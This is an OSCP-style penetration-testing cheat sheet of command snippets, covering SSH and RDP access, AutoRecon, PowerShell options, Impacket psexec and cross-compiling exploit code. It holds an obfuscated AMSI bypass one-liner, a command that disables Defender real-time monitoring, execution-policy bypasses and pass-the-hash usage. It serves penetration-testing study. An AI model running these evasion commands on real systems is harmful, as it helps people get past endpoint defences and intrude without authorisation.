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OSCP_cheatsheet summary

General

Other great cheatsheets

Static binaries

Python error

When receiving the error “/usr/bin/env: ‘python\r’: No such file or directory when running an python exploit.

  1. Open the python file in vim
  2. Use the command :set ff=unix
  3. Save the file. :wq

SSH key files

ssh key files needs to be permission 600

sudo chmod 600 <FILE>

SSH allow diffie helman

ssh <USER>@<TARGET> -oKexAlgorithms=+diffie-hellman-group1-sha1

RDP commands

xfreerdp /d:<DOMAIN> /u:<USERNAME> /v:<TARGET IP> +clipboard
rdesktop -d <DOMAIN> -u <USERNAME> -p <PASSWORD>

Autorecon

https://github.com/DriftSec/AutoRecon-OSCP

sudo /home/user/.local/bin/autorecon -o autorecon <HOST> <HOST>

CMD

Find string

| findstr /I “<FIND STRING>”

Ignore string

| findstr /v “<IGNORE STRING>” 

Powershell

Powershell flags

  • -nop: (-noprofile) which instructs powershell not to load the powershell user profile.
  • -w hidden: to avoid creating a window on the user’s desktop
  • -e: (-EncodedCommand) use base64 encoding

Start as admin

powershell.exe Start-Process cmd.exe -Verb runAs

AMSI Bypass

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

Disbale AV (Requires local admin)

Set-MpPreference -DisableRealtimeMonitoring $true

Powershell execution policy

Get execution policy

Get-ExecutionPolicy -Scope CurrentUser

Bypass execution policy flag

-ExecutionPolicy Bypass

Disable execution policy

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

Impacket PSexec impacket

If no LM Hash use an empty one: aad3b435b51404eeaad3b435b51404ee

python3 psexec.py -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME>@<TARGET>
python3 psexec.py <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET>

Compiling

Compile on linux

gcc

Cross compile exploit code

sudo apt install mingw-64

Compile 32bit Windows

i686-w64-mingw32-gcc something.c -o something.exe

Compile 64bit Windows

x86_64-w64-mingw32-gcc something.c -o something.exe

Compile 32 bit Linux

gcc -Wall -o exploit X.c -Wl,--hash-style=both -m32

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